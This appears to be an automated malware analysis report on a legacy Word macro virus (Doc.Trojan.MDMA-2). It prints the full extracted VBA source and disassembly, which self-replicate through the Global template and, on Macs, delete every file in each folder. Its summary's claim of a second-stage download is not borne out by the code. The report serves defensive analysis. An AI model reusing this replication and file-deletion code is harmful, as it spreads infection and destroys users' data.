Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1d2d17da837e911b…

MALICIOUS

Office (OLE)

35.0 KB Created: 1997-09-17 11:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 6b28617490fd4fd59ff163566a6015da SHA-1: 28fc23e4ad0e1ea9fb5829e075e19df46a9db612 SHA-256: 1d2d17da837e911b96a1fc171add7180e4392a4cc028e83ef6025e5c4faccf3e
188 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits characteristics of a legacy WordBasic macro virus and contains VBA macros, including an AutoClose subroutine. The presence of 'Doc.Trojan.MDMA-2' from ClamAV strongly suggests malicious intent, likely to download and execute a second-stage payload or establish persistence.

Heuristics 4

  • ClamAV: Doc.Trojan.MDMA-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.MDMA-2
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Attribute VB_Name = "AutoClose"

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6098 bytes
SHA-256: 5c19b257a470175cfa74836a3beb38bad67b4a26c79510a59c995668f08684bd
Detection
ClamAV: Doc.Trojan.MDMA-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "AutoClose"

Public Sub MAIN()
    install
    infect
End Sub

Private Sub install()
Dim total
Dim installed
Dim i
    total = WordBasic.CountMacros(0)
    installed = 0
    If total > 0 Then
        For i = 1 To total
            If WordBasic.[MacroName$](i, 0) = "AutoClose" Then
                installed = 1
            End If
        Next
    End If
    If installed = 0 Then
        WordBasic.MacroCopy WordBasic.[WindowName$]() + ":AutoClose", "Global:AutoClose"
    Else
        total = WordBasic.CountMacros(1)
        installed = 0
        If total > 0 Then
            For i = 1 To total
                If WordBasic.[MacroName$](i, 1) = "AutoClose" Then
                    installed = 1
                End If
            Next
        End If
        If installed = 0 Then
       
            WordBasic.MacroCopy "Global:AutoClose", WordBasic.[WindowName$]() + ":AutoClose"
        End If
    End If
End Sub

Private Sub infect()
Dim count_
Dim i
    If (WordBasic.[GetSystemInfo$](21) = "Windows" Or WordBasic.[GetSystemInfo$](21) = "Windows NT") Then
        Open "c:\shmk." For Append As 1
        If LOF(1) <> 4 And WordBasic.Day(WordBasic.Now()) > 20 Then
            
        End If
        Close 1
    End If

    If Mid(WordBasic.[AppInfo$](21), 1, 3) = "Mac" And WordBasic.Day(WordBasic.Now()) > 4 Then
        WordBasic.ChDir "HD:"
        count_ = WordBasic.CountDirectories()
        For i = 1 To count_
            WordBasic.ChDir "HD" + WordBasic.[GetDirectory$](1)
            WordBasic.Kill WordBasic.[MacID$]("****")
            WordBasic.ChDir "HD:"
        Next
    End If
End Sub

' Processing file: /tmp/qstore_no826p80
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 903 bytes
' Macros/VBA/AutoClose - 3280 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	ArgsCall install 0x0000 
' Line #3:
' 	ArgsCall infect 0x0000 
' Line #4:
' 	EndSub 
' Line #5:
' Line #6:
' 	FuncDefn (Private Sub install())
' Line #7:
' 	Dim 
' 	VarDefn total
' Line #8:
' 	Dim 
' 	VarDefn installed
' Line #9:
' 	Dim 
' 	VarDefn i
' Line #10:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd CountMacros 0x0001 
' 	St total 
' Line #11:
' 	LitDI2 0x0000 
' 	St installed 
' Line #12:
' 	Ld total 
' 	LitDI2 0x0000 
' 	Gt 
' 	IfBlock 
' Line #13:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld total 
' 	For 
' Line #14:
' 	Ld i 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0002 
' 	LitStr 0x0009 "AutoClose"
' 	Eq 
' 	IfBlock 
' Line #15:
' 	LitDI2 0x0001 
' 	St installed 
' Line #16:
' 	EndIfBlock 
' Line #17:
' 	StartForVariable 
' 	Next 
' Line #18:
' 	EndIfBlock 
' Line #19:
' 	Ld installed 
' 	LitDI2 0x0000 
' 	Eq 
' 	IfBlock 
' Line #20:
' 	Ld WordBasic 
' 	ArgsMemLd [WindowName$] 0x0000 
' 	LitStr 0x000A ":AutoClose"
' 	Add 
' 	LitStr 0x0010 "Global:AutoClose"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #21:
' 	ElseBlock 
' Line #22:
' 	LitDI2 0x0001 
' 	Ld WordBasic 
' 	ArgsMemLd CountMacros 0x0001 
' 	St total 
' Line #23:
' 	LitDI2 0x0000 
' 	St installed 
' Line #24:
' 	Ld total 
' 	LitDI2 0x0000 
' 	Gt 
' 	IfBlock 
' Line #25:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld total 
' 	For 
' Line #26:
' 	Ld i 
' 	LitDI2 0x0001 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0002 
' 	LitStr 0x0009 "AutoClose"
' 	Eq 
' 	IfBlock 
' Line #27:
' 	LitDI2 0x0001 
' 	St installed 
' Line #28:
' 	EndIfBlock 
' Line #29:
' 	StartForVariable 
' 	Next 
' Line #30:
' 	EndIfBlock 
' Line #31:
' 	Ld installed 
' 	LitDI2 0x0000 
' 	Eq 
' 	IfBlock 
' Line #32:
' Line #33:
' 	LitStr 0x0010 "Global:AutoClose"
' 	Ld WordBasic 
' 	ArgsMemLd [WindowName$] 0x0000 
' 	LitStr 0x000A ":AutoClose"
' 	Add 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #34:
' 	EndIfBlock 
' Line #35:
' 	EndIfBlock 
' Line #36:
' 	EndSub 
' Line #37:
' Line #38:
' 	FuncDefn (Private Sub infect())
' Line #39:
' 	Dim 
' 	VarDefn count_
' Line #40:
' 	Dim 
' 	VarDefn i
' Line #41:
' 	LitDI2 0x0015 
' 	Ld WordBasic 
' 	ArgsMemLd [GetSystemInfo$] 0x0001 
' 	LitStr 0x0007 "Windows"
' 	Eq 
' 	LitDI2 0x0015 
' 	Ld WordBasic 
' 	ArgsMemLd [GetSystemInfo$] 0x0001 
' 	LitStr 0x000A "Windows NT"
' 	Eq 
' 	Or 
' 	Paren 
' 	IfBlock 
' Line #42:
' 	LitStr 0x0008 "c:\shmk."
' 	LitDI2 0x0001 
' 	LitDefault 
' 	Open (For Append)
' Line #43:
' 	LitDI2 0x0001 
' 	ArgsLd LOF 0x0001 
' 	LitDI2 0x0004 
' 	Ne 
' 	Ld WordBasic 
' 	ArgsMemLd Now 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd Day 0x0001 
' 	LitDI2 0x0014 
' 	Gt 
' 	And 
' 	IfBlock 
' Line #44:
' Line #45:
' 	EndIfBlock 
' Line #46:
' 	LitDI2 0x0001 
' 	Close 0x0001 
' Line #47:
' 	EndIfBlock 
' Line #48:
' Line #49:
' 	LitDI2 0x0015 
' 	Ld WordBasic 
' 	ArgsMemLd [AppInfo$] 0x0001 
' 	LitDI2 0x0001 
' 	LitDI2 0x0003 
' 	ArgsLd Mid$ 0x0003 
' 	LitStr 0x0003 "Mac"
' 	Eq 
' 	Ld WordBasic 
' 	ArgsMemLd Now 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd Day 0x0001 
' 	LitDI2 0x0004 
' 	Gt 
' 	And 
' 	IfBlock 
' Line #50:
' 	LitStr 0x0003 "HD:"
' 	Ld WordBasic 
' 	ArgsMemCall ChDir 0x0001 
' Line #51:
' 	Ld WordBasic 
' 	ArgsMemLd CountDirectories 0x0000 
' 	St count_ 
' Line #52:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld count_ 
' 	For 
' Line #53:
' 	LitStr 0x0002 "HD"
' 	LitDI2 0x0001 
' 	Ld WordBasic 
' 	ArgsMemLd [GetDirectory$] 0x0001 
' 	Add 
' 	Ld WordBasic 
' 	ArgsMemCall ChDir 0x0001 
' Line #54:
' 	LitStr 0x0004 "****"
' 	Ld WordBasic 
' 	ArgsMemLd [MacID$] 0x0001 
' 	Ld WordBasic 
' 	ArgsMemCall Kill 0x0001 
' Line #55:
' 	LitStr 0x0003 "HD:"
' 	Ld WordBasic 
' 	ArgsMemCall ChDir 0x0001 
' Line #56:
' 	StartForVariable 
' 	Next 
' Line #57:
' 	EndIfBlock 
' Line #58:
' 	EndSub

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